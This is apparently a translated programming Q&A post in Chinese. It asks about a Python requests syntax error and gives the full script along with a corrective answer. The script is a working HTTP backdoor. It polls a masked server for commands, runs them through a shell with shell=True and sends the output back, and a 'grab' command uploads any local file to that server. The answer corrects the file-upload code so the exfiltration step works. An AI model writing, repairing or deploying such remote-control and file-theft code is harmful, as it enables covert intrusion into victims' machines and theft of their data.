我正在尝试使用python 3.5中的请求模块中的post方法发送文件,我收到错误说"语法无效"在这些行中,
files = ('file':open(path,'rb'))
r = requests.post(('htttp://#########', files= files))
完整代码如下。
import requests
import subprocess
import time
import os
while True:
req = requests.get('htttp://########')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path = command.split('*')
if os.path.exists(path):
url = 'http://#########/store'
files = ('file':open(path,'rb'))
r = requests.post(('htttp://#########', files= files))
else:
post_request = requests.post(url='htttp://#########',data='[-]
Unable to find file !')
else:
CMD = subprocess.Popen(command,shell=True, stderr=subprocess.PIPE,
stdin=subprocess.PIPE,stdout=subprocess.PIPE)
post_request=requests.post(url='htttp://########',data=CMD.stdout.read())
post_request = requests.post(url= 'htttp://######',
data=CMD.stderr.read())
time.sleep(3)
答案 0 :(得分:-1)
你可能想要这个:
files = {'file': open(path, 'rb')}
r = requests.post('htttp://#########', files=files)
dict
是使用花括号而不是括号创建的,并且在调用requests.post
时参数周围有额外的括号。